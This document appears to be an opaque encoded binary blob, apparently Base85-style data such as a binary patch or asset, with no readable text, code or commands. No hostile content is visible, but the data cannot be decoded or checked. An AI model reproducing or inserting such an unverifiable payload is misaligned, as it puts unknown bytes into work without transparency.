z@8MFHZ0gD&II=pjl#CZaGFPQuk1m)cd1zkvvnuS3?;K(vg4Cw-if@jQ>yP|$x6t}te-i)pdF*6*Sbx)6sp4>T(kSN0Yhx{~3RVFARjY7Gl!LmBsM@!l^MWmb{6yYRj7+bkeeDcd69SE<-l_tdp0A>pb)r>KaLMRzvxYOg>i)YPk!CU zq0P4Xog)#n2v@{9fY$)4lh0hVi9_iw@Y(9c80<~3&7VDT|JT49Hj{agn|!;%=mJmR zrTHu40M$#Y*R$>dClNOSn@kPJPy8F-e~x3%W?n@Q$yOsc@b<+)=qNQFbu@x~s#$Gc zQ?S|AIGh;EfoC6+rV9+o=Iq)3P3G;>&cUJi6G+D4pxS@&&wi($(yb8iTd)20cdiV! z{d>WeR_|iuCgOp*V&T079Gcvp@+W zPnxTKrrzXtE^XF8wJ#jsF}0r6t?>h0Zk1o3`E97GT)x8~3mBRVUYhj`OLNUm%w;)q zy_O^95%#J%BG}-}RY6Yu;k*4u;a#P-pzK%K-)d9pZLK$=-h0=Oy=ZM&y~|}!%Z66_ z%wb=f+Zjg&bzw|2Y$(I~)fGxZO6uSws-e6pwSu$vwg$&c@=v%9e{Sd2u-0NSB^2M zV=B!`AS0IPQt>t9aZzv=h5->q0hE;KszQbtza2fRV)`1@c7@80rDqkSB4idIH z_V&G-ykGplES=nJ1ZVU2!~gOduYQa*{(Kt+yNL|^MzkPSVw!CWglPo(c(X0lF8?hiLo0K4~0P1sc~6{)&0I47_IE0l!JX-2yh!Zhc|%FPsa#>h1&2 z3Bn(Lc=7u|QA~Ukt9!lxZw=iG);Z_67U9CSc|f}1H=DlzFCgsRZoUg#dYQSsOTXBk zcLsZdTbqADU1P6}*NJG6@(Vc9&mpbz&&Jzs2Zylp@1o!a$Af9cp3-ul;p;|R2Xcg$*7mhIyAf73lEl{3%$>~A!G z)g9JF&)2^N?B;JA+r9<%fVltS8=n>MnrFw)A(?_3a$gF5r8n^QiGSm)wO;$h%={|~ z77?p&8wmU+Z$@N(M5*vr?)}q9p;WiG-UZf_X19i~Aa`Br8ut~4mLcV^`77_}?=Se( z?;KqYHV^WJJtM5H*f1C5BFrJ+wpznB-q6)ybLSj8UdNPycfW7(FI#1{*|lxf2L8vo zreg)ny?0NA(DEht0-wuNRf-f3Um5 zam}r)cALvlHXcT(mf6h`eBEuSDIybudVD8-2IU=RV99SWDy6Ek^jlTxd^ zOj)LYvB9jBRAt9D*cov@k@4!JcImS5s^zf!+`TS@Yy9%nR98}2dRT>N7)QrXx*6L3 zdSOGxW87s-Krfc7-R;N|n0nfV6f;W-R^&J-iONfvn8YuGmBpHPjlnFTBCkrQN(M~H zWinbO(R=>IzT#6V!BfM|yKSnBZPNwIjJ&$bjP+KLt|x3;%g=8Zt;)l;SqQ7Bm?l=o zapa*|MV9P4SEjbX6^)N$M+oqy+q;^=L&1Iv_yhkMetB#7M!^Q#^W`gW*a(bSgdBJ- zI6Yh}$JGlCx_G|3K;Pu^?n!Ke1igUcV zK8NLouVw*QoBcPx|ND>gSMX^$z^P&P}`B1@0EG+rDn~)|a0dcAvMJydZGU z*ax0t?`H0Q`v;%?6M;}2<~23frN(hOyp6p!Fy{iozWWVdF8G&OA6mAh?mitI@~szy zGi5zjzI?Sh!o2DW>Q4VxA9J=|F2Uh^+c_=Wzx~@k|Il04PdEu$O~JVWx%oxl1-Vv+ zg~hfpxSe+PuOsEnU-TPzTXqW=*@#+<{Nr!+)4)QZ{pWrs3*Q8x)BNot&>~zzF?gH4 zaM5uL4k-L%z5vGQH4-2yII z3>&t6`~55Te-*#Gx9$a}1uUg0ICmX&e)sf7Zwk(<#0KXE-q5axJ_3FJ_*FpIsC$IG zqFcj|sbvX@{EpwJ010}YfA>H7E%EYD?X|I6AI`G!)ka%rl)aY*cx_4ZH#=1gZ5Erq z@w%IB-%YRY`S*7gx%7VcAwuu2AEx3}tnncNQy=2IOs#GCrAYKMJHoC_%F-(=k$3!2 zPQka?);|W{iAMecXLUf^?_66S`8ngG%PXC|L{qxwfLF_#&24zrxV^fhW89jt--67> za)fyl&$Bz-FDjp0iQqre$2xb-Bj19I{}-1n%Rbh3g0wN3+HbGf+Vrx0#U&eBTM`-LiQlu? z;<{iq&)(m5d6hbr%+A!rEMeKy8qp9cGKq+9o34b)C$a^uj^HIr?odR~kkq6bC3@fI zA+%gB6MVv=nSea5WOVAd>rS1e!6r&;`srat>Z+Nr1nDK?QuUCC2pxwkuSrQ{$G$2^ z*I<`iq^O5Xc3e8q)a+3GcoFcm0il>piW7gHkA#sYb&MT(dEI1!J0S6sj)LvjF-Idy zA}}>cF>tl1r0locRh4^&wGh_W#txD!q~Kl^PJGI^R(Q*vQulsl%lX$r4Ot`Wa@mu8 zt<*JejdB-2nYnJ+@?ZsDK( z(?9w^L;FuDS-h;4@d05_7s569=A5&swqE;<1|^#A`KH?o1&e?G?VtQaeEmi8RRO?n z&MNy&VFB*};qK&mb{f96Sy%UV7wsO@6{wnj!PuO9R+st1!%=fw7z_4}5ZZ0LP20CL z)d&{h4%-$8bBsA$OwZS!x5}_BjjJ?xEY!fjs8w75!ZPdLgF9)Fot(=S231_|Sd;5p?Zm4S24%QpQ zg44VR4EdU2bMl#2gF)H?+dy#vvOBy0Z)mrm*h)8ieHZrrlCf7uoj>%=Z{@i;OUtchx~f<>=pTl4Iv{;v-_SO1su(%>+%rv$J%=lq%0sa#9@AO7n<`1N1= zDNWn7dd0Ba&*ep60J*St&BjcCiG9HHJ4O2%@>O==*Ip3o77BPT$Dy%=3(T`kwbmHA z>vdpImu4=J7u#m{YkLv#Wpi7@Onu~EcH_NszVFgoe+|A07=t&$4miBC})lCd9QD`#Dqt;)CM7<^H@!dA%#O=7?^*8{ya*3L zUTi9(g5ToH@>TQXesJ&W>}QSNLwJq+^xq9?y>0xwe9gAO_b5Pr<(t{RW$)!Mp8RM*Fd$@IkQu+L%q1zT?J^WXHT_gI{0K6!3(GO zDVR`{)b|P)%k6U0S0xilc{>8Nk$3K=?5+WO$I+EaPK4Ijy=98AWn47Gu{0FCm)|8- z@MSMeDG3!Xl%tR z9oDH+ArFw*eIJ7OnomIA zcJl9rvj1m)^iT7GaDgq|-a%lueNDl>^8T-zyqt(m!`E$J}$uF{=)*z4E?r^>eG+TaYU*4k?F=L%u+o|JXg`?4!0W^IhKr)3)~je~Qw7aB^csT5XqZhKt1upR2MsBs_5uAvIZ6R6^2Ltbid z*d!`rg0#j;cImof8Ntyy-Km^J9kAkK+4f^hUWN`u*pBJ=$vfp$x=z9Hl-EfWkn7kd z__0q4=SAp69s5r0IGT;S@5s5Mq~>FQecxF^Wmz$;pBg3wVP|S3t-_{~xJ)q!s^Q&= zrqtuIl2Q!r_1rYuDJpe}XF2msDlB!jy_H-OWPGWA-|<=o_@2n?Ayi5Ie7u%8y7I{7 zHF@K!nxmf`)J;gWUBILua;2b#F4Z>JucTE&Dw*YvJN8v%mlyo(e_eTEsnamqe-S9S zY@+Avv=P|B3xvU8V7BkYw&@*r7ufjO`exy_kIl9DtEo@?3(W5OfN)S6h#o)&c!z(X z=B8j8zRkbG$b-WX1hXG-@AhZiLwV^_%;4~U@;iUe-C%h=k#;=?W96iZ&|y;dj(-_WlgocDTQ!#w_~OxpbRIn6aGp!0?^dLraB_r% zJ;><|^WG|N`MP7T3Mrs+RlwSHU+qzDuS=q{;HXzQ?uX--ZSNp5xAx;bk za&MTfEVGbHx@|zB6>VI$u-z-^YmisXwc);l%rmSkvYaK4K)^M;MCd=kjDp)8Gv7PfsjV%UtveYz@2Radwe~iX*TsF7*%>`6 zW6WBZAa|jS%RcLJ!Es~>44oG}Pa|uwSB5+&3cGn#G2`1AsncOoIdMvv?ABz8ER(A; z;@HI~OU3EaVCUUJ&z4zDVHsZ{Oq@Fo6JLlb0Z{$KziID|rS02m$d|S+?cK{PVB7YzedTrf zzmnYozH)I4biDc97ol%|*?*Noq3G)Q&dF!Gx`x@mZ1RPIbH6b!P2S*b)A8llGej&> zwxIjB-{`AW9~P)qV}O^oFGy<{jFr%GsJ8T(t#&Y|TlVrY=XOgs0!O2Tv7B>m{yog= zPe5~UI@nvC-;r?yb=N(;V87Ta;hX>B_kQog8vnuHub)FYU&MlfyTc0_`$%&m@Gx?~ zc3ukRy!3AVR-ZQqo(GC`fZ2NUZ!XPB_z!>MXFB2hq0XJG$MAcp2kp^8$!xyozWU4o=HbX9r4@m%2F7tbB_9X#9o8k~nwA9lT3@ zjdS;UU8eZg8{oRU&zy~DZ9Zo^+BUs|&9*ZeR5adjmb-%xr!^X8N80h@Qf9s5Eq5%h z5voX(eRs9QPuU)FrIOiEXOo<~nZ4*|Ej{H#smJ%Lk{V8mE`z5hJub(QHKv%VUz%%e zu3uMYbnr2Vd?_B|Wl!qK`&z?}?B(=&E9tDUOPx>_NVjY#&vB?T0+wSx3$#tl%7C@E z3$tf+UDz>>ugp&5iI&>%)!hb<#+c7b)EaF*~(dq3wXD8O4uo{7g)X-y7(B( zzbFLsQ?nmMGP>poSdCh1sJXmcYG^mXR}c|pj2#Lfjpe{>3qfFl#4J>MxcERWL7IZm zJ2hUztuvI6Ht|<||H|$G;Umm&riONz$}qI+Up|s!cY&|``vkuO$p6_t`bQtm$G-bp z|9R+DhQ4++@AWTIv&fkdUG7wU10jc48Qy4-}&jUerQi? z>fin8PZs3P;b+>r#$nI?(3gpL?g)*^s}~Ia=2UY&dzItO{uWlDabd3w#I0sqBXiMl z@HW16!r4<&=5Ed%D28Mg4uAXMlgk1_{Tz~zR`zo@^QOIP)LkGvzXCk7An@GLcOy6r zU&YZ8==m)q|AwzWT@?yO@X=)}fBda_xW8C0_|N0tqxG{FgZVU;gJm`t|(CZ-94y z>bc+Z4G0^7BS5$#8)Jj3M}uYV;>v@=m}O6kv1i38zx<}{8~Y*CkNmqg&%Grc0(#v= zAIUbf;=qVL%;y9CMX#gWM4wG&0Y8Q+EqZq0l5%T$|Pg0%8tIb~#4 z_Su8qQsplp8!ykoE9q{7&F6N{D>m!Wi2&+!5=*x?ufbITR5}{2-8hx_ZAhTte6s4pL43JmGU2qlFp{NG~2Pb|< zR&a8i;ybLTT9#Lt;ob!}mzI#QggP#3X_%cvcwsPROE@v39QVAWUsV>7=A7L?!(Mpn$1F{*4sb`93_8f5OvU1L;E_HFYN7T3eFqEMbH(q9Wxs^ zO+XI?p_;oKuErA{o< z8vc)e{&O8v{%}h6-5>p5ie6Zuw}XAuxqcnVl*-BHz8B{*Ok?*7xoPGW1(&?|x7)#D zRiBa0(lua{0flW3x{;7^k1Gc-{TRaQKg11AsC~x;{!r@$e3ws-Q zrQ9G~mS^kU{ChOV9$#&VKl1N&tL$`VKRg8eNjN*|>)yNc9e;)=MG~Q(*;&Y|W~Lql zVEmGd)s>!$2KeD49C&J7*NS=I02KZ zij1;qCZO(XEwu!umSZg^nprpkB~?8ulr$(SCeJwrwZ;@PHWi^ObdlErY6)4argjh; zvwUVLBQkMp&(%{7-o}I)O9}IAXR)|@s&kbW50GeN4c^G5#)xo zi{X^ri7H@hDq}2J!uVEp%o0S#V{gG;In^wE8&pzjVAys!OzLyd{fNx7G<*ZR4tRhU z7bjZEE$5q80n#?Gi@xCuCc~;9_}AadI?Nlk9SWwy8=&5(dt_i%zjl-+uYtGl_M5+$ zpFny+;5i6gF5==)F!yi1*H^0E{Y&_Iy?VYT-^N}JHaGM7oO7-V3lAC#V`Ui@*8Loi zZjGl5s^Q#H(ymPlSnhhU_d}`w+aLe2eM78scfh^|gx&e|73K}?o<^{ha|GHi0*7Z~ z?B1@21-vz+;X7^L;#{#XcpJeWETkpW>G>-7dhPe61^mrF_?^G^VZHiNv|I{ifB20B zC>TMkdfxM;BmCXJ@x$+ABeuoM!{XmL0xjWSuiCpB77pj5SYckbfD45CMD!ex{yV?@ zbG_dCp-2B=MSu1w0l3~Q_V4`Wv@@TH_D=?9nAd*&s;_92J7Ak%JBl*!o2lVk>5*@m zx9|Vv6Vv=g5(u0K!rmfZK7JMQH625~QRYLd=!8$bKs|Kv~pydR?u5~%047Ceg%uCp!&fcs_SuBhOd&v=MDv8D{alQ}# zUN+B9JLlSa_te$6a1!Ez}7taKKvnWHMIM^;79#Uc^j@`CYlR)HKPXf z^RK1NSV%3Wl_%h;|8CO(F+LBZ)9uLj*%emqx7ixL6f;$Qt#GaIH4$-?ZvQXtR*Y>v zSMoet8(MEc*+|cpwKeQW_eON&65@h8`&jFVMv&PvFJUb2spDADx)^PtePz$=oiK8S z#9_*zu4Pvl?ZQ@k2gjviPPH9}uqRzF%9>m!-P9Hv=^gWSt+0+97h4jF2(hsv#kAQO zV!w=e+62VR0dd4^?)@AnkJNVW8pvD26n`ueWU4*!yVTOG`iUc#N)&-rYw9AT+KE6J z6lV9#I>?kn%&liO#uMj~x7SG6Nip#$sZ#VasTx>2cT#jZa^Yo}EYz9uFgQyX$6i7i zBy1HktBA2{NIed+&GxXvx`4@^6qCAYlL7JD;>1M5cybUHvIBOGattVY>LX z_e#6GGKf8kDl?PjxR__HFAaoiCbbKCGcQDpV-Ps@j*}@NFm2y-at|6`h#0nog6r3d zoTy0_^3`4V8U4rpuN{NTfoSvc@Go-oX5I`%tj8d-nfH*dX1}2$oStt3Z*lSN2zv_n zjU`i7>cdt#7p>mtpVJG%+J}oS|AU|XO?@v~46E;DO=EX4Z*_Qq+%XvJMekZT`Kmuzl;Z&*tL3+`V1c8}c;; zrx&bypLsU?&da}6rcK=B>#i<+-t>Q`)tle*offc(*sy$XxEWc{YTymz62}_4y&&zD zqY3KzCEvkbdcnoNZPVS}A>R?q#eM8qLSJeAg1|QLa9wT+f2XfK>nDT1{`Zo8VffWQ zPQ5&1JGh6{tB|$E)K^mGGg4q`2F6q7VA#q)L=rGs_Y_ z#Q9={UmM}&pTs1k7~K)1AI)?2+vEB$?DbBrEjY{ejeJYJDbK#|{@nX7vSW^Zl#jwF z$38+m5Y0a2eSSFC2-wU@N09ym-!3nel-ahCj9Ch+GR9ycwD2hcUKOWy)NI1DWAuj8 zd(O4LW&4fZQ{GrED#;KRY%mzF+Nt8zkx|w?`|1-vo8AfNJ#g=wiCh6k-}Q{kU0Ct$ zOSA}1%1T?PbhE$|Q%@snFZbo;bRCTfSvy`1nBc6ULbW^5?1c?wB%p&})-_bM*l23Z zaGyIFcS(^eH8RGNqGOVjye!J~b6wMozKYLmEoWRL;MKnNN-knvg7g%5Yq42oxsXD4 z*3MLN5oa9B0L!VNLwS}6c?jh@nzl#pN72s;FCLCdO8i-fv**I)xD#3Tlv?Y`LvTRq z&yY~K`%WczB}n;3c2x+=YyuLB2p6+Xgk^%f+Y8m-u43{q`(E*P4Jm_XLT%35%F;*U zfQi#VnscoOW1rWaN(7-SJYE&wM9jmfdy#CowR*wwDvT{0#s*Lwdk#F;z1+J~te1a_ ze?R~J5nvk%w!M%xoSUX_eh9b>){g?m#?YE61S4>xF|zg8SOA1|*UQ3wUs%GxuY~CW z`=^V(&8&aM=m+}gB7G_AfBoY>{xiNNER+^d>&Jf;P>^fpHT>>_%|{lE0=zN+V4H$} zpzmKXyYy}oGYtPm=8!XV+_I=vX0WXVA?*w|-WDd`TD|=Vtjr2#0pV`@)}d(LwJ|NtvYkiP5E>?wlUv=7U%Xyp{4XI zz;+M(277ZN+AZUBiVKSU_2xhNBc0j)m(tJ_zKJ~*P$!(#>gD&6jJ^4#V1&AxbH5eU zp5ZGO+osV(NaUG3LH@4i7OXK$O z1MQAYwycA_23z17p*OS`G&^6;LSI<;zC)f(@9deskI>l*wC}-t*IoMS@c3T!_aL`= zUX0(yxmq5xTR?_a&2pmM^;265#JpF|Y?t)KAa{f9xaEX(#!-&Y^*Gd{avLnUo=KDP!y{V8 zr_RR|t(=(0{`QA{jQLUd7&9x)-kxo0Z%Wyk?oIF6$F`+6ne2qK|C|kNd1ZrY19rJ= zlE*hfW$7SnUw!Y{Nm|NGP0~@~SX<)peT~yo*z5kfKr361Ogi0NOlF-3VU&rCO<9r) zeeKU{UG|+>MaWf}HN5C$zf$i?ecivp~MWC>&-YKL>8CW_p zN|N3TUV>C2yvQCKf;e?YAknF+T_ys>pMt48?p0f_MJ}$hgClI4T18Tf9G&s9XP2fz^-3p&r&huBV3(O42@dm`K+i&`Ezw$EYjpe7v;F=rHMrGlyj6q}Y{oU5 zJCHk?i%qlb%}c{&56ph%-?9nz7Wt;99GE>w+iV*yZbmM9op!cnfETYr!J3-c!@_MJ zG|n&f{@^c}eDiz0VdonZ3tC05`e7qstUlBX6pM==Fa7wDuK)b^{*ituse#v&9l7x~ z{ac#DqF_RSz+qlfZRqs@dy8u6|CU)$H=2AM z%R^oV287cT4*AxnvD_3!88lW;*1Y`VZ-vAEY((wr*}_;1#%%OKV>3=q z89#~8d*ci9UZ>i!_toQ@fNx0lx{KZn*cmT?aLecvE1g|#!^FpHd`Gw#hbeBBr-rUm z>5lumbks1G8J5?UJLaW~R!)`?D8|E%f67C1|6|?%e78`?{q-@vlwsrdS#~Iy@sv)w zcD$H%3Y5qAs&_Qj^*P8q?VJ0X;Vs>5sFGeauXUEq7gK+({ISBDONNu~LwOYW`F>m4 z4*SWmOS-v#a+#%_`m^C*o9Et4W?Ngk(P=?0)3v9Kd+mFB$6MQ1HncAWM95~f zH_5$QE=Rfa#YVa^CN+7FK`d>+Ea|8OC83^bc91So?izBh6imgD1y0gaLlW5$Aq%1A zQcis0v>5?sT_<2dO}beZg;{?MC`YPt(kzF(6`!^DGHuiL+sraHDYA-5BByJwib(;? zQcv4pP?4jgDhEj=WzbU-kOJ<;%Zr#UtV>0f-q+~69`q+Z8J95uWndu@6a*!{J0><> zMIHtBQQDrTN`%Qm($q$@a>0O7+jn9*T1u+o8BS_^C+5!E*;$lJqJVZG^3h}e`TTPd z%~Rq*xiAW#PHg7h!bya^^h~LqmTlwyY#w0WCwM=KAZ^Wp!$DwSsY8uBLu;CRm2uN+ zriOxta~%h));$zFeclOW!TsN6+fVQRVwq+!En~eqY@Q8)B8I?3EeqcaQ$8-bzV0$zh~Q*g-`^gT`9O}IwgScY~F`AR>U24VO&oNFAm z&$YzrusL^VH+|v$QdXUg z27Ybx?N4-JY}r5f8)bg^H$#*^@vi`vL1~&>J>)lnMZR_k^X6_jN@(|RZl7&N1ELyi z7YGj^7r?el4THUg-+Tq@9slO{kKEpsSG9Bpa`TZZL$2N_E*bL8L1>xjq;as<@QZD7I55)c0;oN z=CAax0LKw7K6IQ@)`0Dekpr#ow)eXi?EUTE09D@ZhtD3kSa{G?JL=1(x_8>Ip^n+u zAm~1t*>$%tiCzOfYQAiLP5K4+U9cBC8Q;Y##w_#UU zUazw|*OnhGrF_(H$CmGP=HJPy^7ec@Tq!=;FEe><%Oh_a$$Qv!?gI3WLB7ZRYEx4L z=}=?;!K?DN%O&Hac$p>O4qI~nOW1K9n<-WiNDt6_ZR)Qw+Fo&#uEIvH;9bM9kC}!T z*sDt|B~#RsSs6Go^0F@_Q!5d-ZLcX`84{uHt+dxQ zJN90bt}c7b2<0I$W5ev3if@ID<%Fv24*S@okTL~#SR8#vlZQ!U-&0-TfpYx1;Qg+D9Dx9YW}ut!VT&U^DaSn8|LM}GnVFGUz~zYZ#Pg(pVv4n z8kK?XhTIHww+qZ0!3LhfEP{q}c~+oW_X6If(X3j!#k>Y#Th35IX0iF{FI7{Rw|%7y z+q&C(yQFUycYfQl?4^0jzxw`j-rVT00w z(`Mc#+|cpT8)G%RTt3WP$}sOSXzaBnQ@&g9d%+c?NVfGDzfO$74tseT*MOS(P2)$o3saW|Q6VDI;+v9X0r_SuAe`?Ot_asXG^8S8ysh0awhb zEs12n&_Xnv6s)G;r)q>K&0 zPimAYk1`x&3PbK;JrmY40ZF%QriRW)I!B&Fk*nJH?%TJg>Ekp66mSe)jGI!G@*KxE)e-!Hv)mEY)ZS)Bh-vIBjtbmCC z{O10E!?F|+f9Bt!T^QE(eIbWuL0VgCHX4I4!(rPDn{zL~E3c#P??s~#r8eY(x^*`N z8+bj0YT;RTiczM+8>B6;#h?gx%mTl5$)RQ2M=%i|;R3v)FWL>mZUhd)76oJ6<3SF7n0z_-9TzY2f4iVcD5H|dBrMGK+5O^BFO}^q^T+#xjBOC-yw-?m){YNI#0P^5)G=X13 z^o4ni!?MpMsvTJxroO!#ftDrAivYb=Z#T?~+_2ni8=l>L-pE4N&zCs#E&uBKSN*fU zdJ7l|F1#(;?K95|&)tNpKCe+Xy*=W9gy6cD(}J zxa!_6zA?x7&Wjqkj* z9`ed~vF{-FGOj5!d-3YwaH415gnA|D@p^T+WvQy>54uxqd9Cig5Sej}4UW0r(@ml= zj__*cEVr=ZLj2oslsmf_aUy^yhQrIW_1;>$p0$!lX~8IC*p46B})5uXCe7dgVgCD6qecTwJT|xxBXumcLW?~NM1+orIm&P z@+a_0iLi%Ri&M8_1@U{kd600;9jWV2D?cLSt4d9OZO=-5oyIdwDNd zHo4Xh9yRmYJ&eq~`@+-n?GEqIalvosc%iP{ul!rzv#J+<)ddd!=3Y|)+ah1gN^@sk z+PhWb{lso4XtvNfe<+DU<@E! z-H%}SHP1$qIMFochK`$UgT3L|Mqq2w+a2ufbIt|1F|fMt z^kLrp!K(t{HS3P8sP+^8($WpO*5{))a=U$qDwHEd^`)&4)_;Sym@Rq>;V<82|g;jH%v^FNSrpMbl(mM_J$@zFL?#!-?WxtlNBS@}i z$SUIQdd412hdp}ilgRe{#B3nr46RQb>a1!fMb^c7?J@z!rQ_6WY>;*Lh0EkZ!*G;U z!(0BH0vwHu6wv8xFtv3GFA#fX<7oHxo$@YbJB2HBJ9xYB+@#c0qM2B8wpnI2PBc&X zIdr;W8bZsujSI>N2Y&`=zDE!3SaUkw5m+w$W_Cf~B(%xmlo6uU3n!e9OF z{1DRV2v?tX_;;O!PFFY7%&d`CL$Eg=!m@FOw0&!;8pP&ef9DGRbz?Wi?*E#0J*?mn-v8r0Qn$Tvf}z=mAourb+p5V-G#Tm!FX5pot< zuLGlGb~EoqQ$*}uuvs`rYhw%dCa;xTVOz@x@nuRF3)ph^q3HISpFQ%_X$sdDu|D&! zX60_MrHxzgYgP^I`VHcqLYZNVjktH7s8jdx4ILXr53b6lTfj$oH(+1-U12PH+751IwyDr@bL*nx%=R|8 zHn(w^jqa;J##V@8MpBi_CBxOue0}n*V#+KGc|%9?2>PhFTT6Z_wv1%W%*(1l8AbCRV#=s*OX#@ zZCEUqZzX-z+|qfNz2e%evUz6r=v_Bk*=$5hZVi^+YO?brNOqpth}IT#N0{Ik_`bX@ z=@QnyJ014zQU!QFd|gHRI$$mtDAWwkLZZC5$8zeoBS9#GM04+j6G2|A=&WlOK%HIf zDd|=`1;>m!t2`=+F^Pz9&z1UB^HegzMDvOiXKKSZ8t0;by>O;lkIme9KJxNKcG-6{ zS3=BIRvF74FCt(s8w&&^LL%F;hngK@^fQ#;t25e?8b;_ic8RfbMJUY_fIis?>*dU_ zWh-%yBlTlHsmlu&R*^dyDZqD9C!k}JtA_+ZKeOes3K)YD5=3UWyQIESRh90! zTn0jGT!7@f;VZ$jV$YiWrW{L?&sgz$MxXc>l2xdH?dA867V6GX=YroHeg;~B-#V@= zPz87!mJ4rD`s8yuznKMc%b@jzy@0S=y&>7@5f{?to!^{fZrU|9w;VLavQIbz&eh3H zaN{lS1?NRzPkm!J1#DsA4AU|$uyrFC!X=bpHs8MjmK%Oe!8rnL;|MwP4E%FNT-(g<3S(-d}mW9-Yx=O_cYkgs?a9FE}T@6o##?2CiY$R4KiYsmf1Q-NGzEW&LF z-p*_f!@||xb#He*fkn?ZX4A~2`5Vp!d(#vy7B0N?XRm~-=Hgs=5!f)>SD|r+mU9Jl zf!5qn%BFZWVC!M`izVo1k8(M(%`%HHgln@Gy|EW%w}Z{Uxkh04uK%0g{}tgHbqj=b z9GZjB!Pr*XAUHfM9Ha%D)7TB|29SlN^F=J-YLPM@#S*2;(O?S^7a%wGnrDwJvnFNp zFKBEfho424Q5uBp6-2E*FSHx|A>SMDW>%Y96LC+$xiuVREJtZ9%~bJeW=rm!v&px& z&7t6j9dEm=DO}ny25g?cY76}kuy)`p#q7y1S=vC#UBjb|BkX#XeC!{UlVxTjRMJs) z4fo=g!F}qT%dONdpz0qO9Q{qWX8g+4o!YMM_vd!Y^*DTufLZk7%2QJG9=>z=7{C4m z@7z1xyQSUAIA)JYzo_gb6gX?xnoDGq`<}?p#e9hHvg-3RK9~BE`jnSHjVrn3-9yP- z&eA*EY)5Mg+Iv^;KhgKbH9OLBVWXSj>=$eoTUM<8zmj7xdTn_?Vf zBJ6;>JRCb9_LU`O#GhPV?3B@RmA%rDx-3aeqAp{nK(0gtPilp=vgHx5)ZG`e2+>UB zW0uqvZET`sIaTdWG;5@Q_HuBdbzx_isj3RIEVfp+9>NLIPs0UZtozP2WpvVtPpQn} z5(6)pP;2U>i;{ZkVa{?A(7~sSgq3k!o#kRf7HqmCKM;H!>Mj4yp98^OS-6*=tA{0% zo$}_6y|eT`l2wlv!jO8}%t}wWz3VJ>g-K&i>d^;pWtMhup=+KJ4PsNRhK01D-ORS8 z*|`jiz`kJK!@@GFcCZ2YGyf`7y1J|9Tex~@^$JuKYF`D#KlsL7U|PW8V%Zecwh)7X zUj&1&h&7fH@@=bduI29khFhx_TzFfvO}hYcy1@R_742Z(&B&ru-6IEM>tJ)fg(caS z8@tf%+y$+zJX7>-r8g9RcMQnP*JUVfA_ilD-@7uWpv9_f(?^}n zw%z2V+nY{t(=P2@AUBrP^DVqh^EV)D7Phe{bvnX>y;2V9w%kOVbIxYlVP46_(fI^c zw{gR~eIgp*ZM-$l#!Emdvm5rBQcv5rNH*x|-mb0>{A;tcabszFw{#7yf!S%@B0#}? zH-46ZTnxz4xCI>MbqBewfNJT1*2KT}f6cZquX(nBw*(DMprdTU^(p88>}vZK5f|9D z;~r|m>7jze*F%{lrkUcG-32b2Y=&c8n_51;*4-f zD&MQS%^u50+4msJa(j{D7V45$4}AOP`M(W*wLEd6zkAK&{ZaOr*>;}2C|lNSLA~9b zJt{j@G*Nnrt?AyB#{D?T;1&w6Q6?bvzT@6D#6MXQt+&UudDb>K``ca%k#}u)b*Yu2 z&8oc2I#CyJ_Sk4ze~OVNSxU2NCXNduY)3$I@yZnT6gIQv+htE-r+$2UA=10%F2iyv z^aA^;6kSiHU^ez+X+fcKCoEGguiZ99N#yLVMQ9PWgj8f=`H&Vqfi*kBfjoLSp!{g{mnvl{kAC3TP4Oi7qk5Y{z! zgj1?CWM}z_dC3`u*EDKYOvKMP2Y)d+QDsr*}0?N{2R>xZy|8K1st9gFKf7vHpZTU zWW%{&ujx2!o4)WMu=%&Y{~QCq1#AR9JiEx(%D)mo4iRSv|I*3zeQ4K$zXF~1ZewqT z(TGoL3SrYOBpa}m}`f z4j0&pYJElDr=z8*SAa9i+2(`H2H`Q_oU_kD=OP+1REsQ_jb#o+=cCZp7=g{d5Uz%e zx}z+i@ixQYEnd-^i_0J|t0@gdxV}bUxbK;QYK_CqyvW!4`Tbw)-|=sL{|H_dy_%HW z{58WGX3fP$V^7`h))yd)Sl#?>vugN;g{u*K;oK0eW`n~6ywL9LJ`@c6%9zft%^+6e zu$5f64RMn&RA1X8T(1k{fdIZ7Qif?cccVna@smHod*C z{(|M>j(U_=B5;5le7A zJk{K*7&I8ifXGgrAoWa=oq8N6)y@0^c)1gcdW+`&JAp3s3WGRj9=Z=B&EQ+uU$t8V; zl`Hl{xVt1K87BqlruZs}m>sHIdRXbIq__O*6seH45X9*yW0phlZ9EUKDjDMm70t}r zo{PvlF5RP~hLjO9Z5zA8sw~R%swZz!=79)QI|AT5V5>zH6i4VGoa;E5t^Tj%hFMRE zN%=XX5Bz&v_}Sl(?55zq)ISFd>Lz9|IcPjQi(W(dTA8biB`;;qb{F{aM)2`Xci2Nw z?c5R4HEtr#VdmB3O$#{v-?W1nUhx(R4o4fD-T%d4n;qF;o1@VJ*z|vWs@cj13cf;a z8~9b<##^^~H{{AD{A=>vP|WahBD#-5n`DKw9ya9a?#iRhepwtawCcatx2EFsp*y*am(mtpmM zn{#i#TSue2)f*7z<=;?hs1~KqR0~wYzi!}q7#!}meT}q$Z92lVgLS_N1-8-)SGiBa zHy~_%Ut6{^REyGI#PYB%D-ZT60>C>48H!;O!BlHw!*Bfx(oir{9zI=P;@<||FmJbm zAzue9)HNDI#Mjm^$}px`IBYAIu&udRSlW$XzYA=ez93e!aJl2<25xEU&0hz}6?_JG zg{3#PouP>}LAp(R@HRFz48XQ*doF`*_NbZ~tf;Bp<$9{Q7Nnh-z!V_HX6XEtR0!N>MA7*;iOP#WH)$_^5Q2IKG`twXd_Kc}K*o@#&7^xbL#(k9%fMglsaifn?Lj z=5}vKr75L^?0B>DwDK6YeA&~EeS7V_v@9_u8dJ{8{+6vZJL=qRKl|b3Tka`fT zluO5S@T9P1N5j5~Sp`_%HZ_Y^f>a!AdZiUM#Za)!Ec8W8!n%Oy?*))FK^!pYxD(UL z_}-LcsjwKV6i44BUGgT2t8EuWBhjfAM;UNUh0Dt>Yq68GA}9F8ptDR&)_7YBRaJ1( zbq!b^`$^GeyZ(tlVO7bhpG4(yT}!3l&mk9{7&cQ(^sHqH(@=6{jOFp2DfAi=s_$63 zPHA|sW0T=b&5BC1BXssDNzq(V^dElzmzY@kPU>DbC6Uenxvse$s+u@ik!#>eNsehf zZ}l2!9X3pwYNJOPyiHQ^CfOTZJychhzY()DrJ;g=#+J`j*t;!5zUT#^B4S^1k^VFP zCP?gqw73)khi5HkDuP-234o~D>(>F19$9;YSkmA3tYWm zBW-no`<$~K6J*_^F}k`VEWL2mf>F2F)^hYk!IHTS5z`%ZpEsE7Q_X7fDnj`8M!}xd 